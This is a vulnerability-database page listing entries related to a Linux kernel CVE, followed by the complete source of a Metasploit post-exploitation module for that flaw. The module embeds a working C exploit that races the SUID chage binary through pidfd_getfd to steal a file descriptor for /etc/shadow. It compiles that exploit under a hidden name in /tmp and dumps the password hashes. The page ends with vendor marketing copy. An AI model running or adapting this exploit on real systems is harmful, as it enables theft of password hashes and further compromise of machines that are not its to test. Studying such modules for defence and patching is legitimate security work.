| Reporter | Title | Published | Views | Family All 462 |
|---|---|---|---|---|
| lpe-toolkit | 21 May 202619:33 | – | githubexploit | |
| Exploit for CVE-2026-46333 | 16 May 202603:34 | – | githubexploit | |
| Exploit for CVE-2026-46333 | 20 May 202602:20 | – | githubexploit | |
| Exploit for CVE-2026-46333 | 17 May 202610:33 | – | githubexploit | |
| CVE-2026-46333 | 15 May 202612:58 | – | attackerkb | |
| Amazon Linux 2023 : bpftool, kernel, kernel-devel (ALAS2023-2026-1752) | 27 May 202600:00 | – | nessus | |
| Amazon Linux 2023 : bpftool6.12, kernel6.12, kernel6.12-devel (ALAS2023-2026-1753) | 27 May 202600:00 | – | nessus | |
| Amazon Linux 2023 : bpftool6.18, kernel6.18, kernel6.18-devel (ALAS2023-2026-1754) | 27 May 202600:00 | – | nessus | |
| Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.10-2026-120 (ALASKERNEL-5.10-2026-120) | 27 May 202600:00 | – | nessus | |
| Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.15-2026-104 (ALASKERNEL-5.15-2026-104) | 27 May 202600:00 | – | nessus |
##
# This module requires Metasploit Framework
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure',
'Description' => %q{
This module exploits a race condition in the Linux kernel
do_exit() teardown path affecting __ptrace_may_access().
During process termination, privileged file descriptors may
remain accessible through pidfd_getfd() after task->mm becomes
NULL, allowing sensitive file disclosure from privileged SUID
binaries such as chage.
This module targets chage to disclose /etc/shadow.
This module performs information disclosure only and does not
create a new session.
},
'License' => MSF_LICENSE,
'Author' => [
'0xdeadbeefnetwork', # Original POC author
'bhaskarbhar' # Metasploit module author
],
'References' => [
[ 'CVE', '2026-46333' ],
[ 'URL', 'https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn' ]
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2026-05-14',
'Notes' => {
'AKA' => [ 'ssh-keysign-pwn' ],
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new(
'WRITABLE_DIR',
[ true, 'Writable directory for exploit compilation', '/tmp' ]
),
OptInt.new(
'RACE_ROUNDS',
[ true, 'Number of race attempts', 500 ]
)
])
end
def check
version = kernel_release.to_s.strip
if version.nil? || version.empty?
return Exploit::CheckCode::Unknown(
'Unable to determine kernel version'
)
end
vprint_status("Detected kernel version: #{version}")
unless command_exists?('gcc')
return Exploit::CheckCode::Unknown(
'gcc is missing; exploit cannot compile'
)
end
unless file?('/usr/bin/chage')
return Exploit::CheckCode::Unknown(
'chage target binary not present'
)
end
unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid?
return Exploit::CheckCode::Unknown(
'chage does not appear to have SGID/SUID permissions'
)
end
ptrace_scope = yama_ptrace_scope
if ptrace_scope > 0
vprint_warning(
"ptrace_scope=#{ptrace_scope} may reduce exploit reliability"
)
end
clean_version = version
.split('-')
.first
.split('+')
.first
kernel = Rex::Version.new(clean_version)
if kernel < Rex::Version.new('5.6.0')
return Exploit::CheckCode::Safe(
"Kernel #{version} is older than vulnerable range"
)
end
if kernel >= Rex::Version.new('6.15.0')
return Exploit::CheckCode::Detected(
"Kernel #{version} may contain vendor backports or fixes"
)
end
Exploit::CheckCode::Appears(
"Kernel #{version} appears vulnerable to CVE-2026-46333"
)
end
def exploit_source
<<~EOF
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
int main(int argc, char **argv)
{
int rounds = 500;
if (argc > 1) {
rounds = atoi(argv[1]);
}
for (int round = 0; round < rounds; round++) {
pid_t child = fork();
if (child == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 1);
dup2(dn, 2);
execl("/usr/bin/chage",
"chage",
"-l",
"root",
(char *)NULL);
_exit(127);
}
int pidfd = syscall(__NR_pidfd_open, child, 0);
if (pidfd < 0) {
waitpid(child, NULL, 0);
continue;
}
int stolen = -1;
for (int attempt = 0;
attempt < 30000 && stolen < 0;
attempt++) {
for (int fd = 3; fd < 32; fd++) {
int s = syscall(__NR_pidfd_getfd,
pidfd,
fd,
0);
if (s < 0) {
continue;
}
char path[256] = {0};
char linkpath[64];
snprintf(linkpath,
sizeof(linkpath),
"/proc/self/fd/%d",
s);
ssize_t n = readlink(linkpath,
path,
sizeof(path) - 1);
if (n > 0) {
path[n] = 0;
}
if (strstr(path, "/etc/shadow")) {
stolen = s;
fprintf(stderr,
"[+] Stole fd %d -> %s\\n",
fd,
path);
break;
}
close(s);
}
}
if (stolen >= 0) {
char buf[8192];
lseek(stolen, 0, SEEK_SET);
ssize_t n;
while ((n = read(stolen,
buf,
sizeof(buf))) > 0) {
fwrite(buf, 1, n, stdout);
}
close(stolen);
close(pidfd);
waitpid(child, NULL, 0);
return 0;
}
close(pidfd);
waitpid(child, NULL, 0);
}
fprintf(stderr,
"[-] Failed after all race attempts\\n");
return 1;
}
EOF
end
def run
checkcode = check
if checkcode == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable,
'Target does not appear vulnerable')
end
unless directory?(datastore['WRITABLE_DIR'])
fail_with(Failure::BadConfig,
'Writable directory does not exist')
end
base = ".#{Rex::Text.rand_text_alpha(6)}"
c_path = "#{datastore['WRITABLE_DIR']}/#{base}.c"
bin_path = "#{datastore['WRITABLE_DIR']}/#{base}"
print_status("Writing exploit source to #{c_path}")
write_file(c_path, exploit_source)
register_file_for_cleanup(c_path)
print_status('Compiling exploit payload')
compile = create_process('gcc', args: ['-O2', c_path, '-o', bin_path], time_out: 120)
vprint_status(compile) unless compile.nil? || compile.empty?
unless file?(bin_path)
fail_with(Failure::Unknown,
'Exploit compilation failed')
end
chmod(bin_path, 0o700)
register_file_for_cleanup(bin_path)
print_status(
"Launching race with #{datastore['RACE_ROUNDS']} attempts"
)
output = create_process(bin_path, args: [datastore['RACE_ROUNDS'].to_s], time_out: 30)
if output.nil? || output.empty?
fail_with(Failure::Unknown,
'Exploit returned no output')
end
if output.include?('$')
print_good('Successfully disclosed /etc/shadow')
passwd_file = read_file('/etc/passwd')
report_linux_hashdump(passwd_file, output)
print_line
print_line(output)
else
print_error(
'Race attempts completed but no matching /etc/shadow file descriptor was recovered'
)
vprint_status(output)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation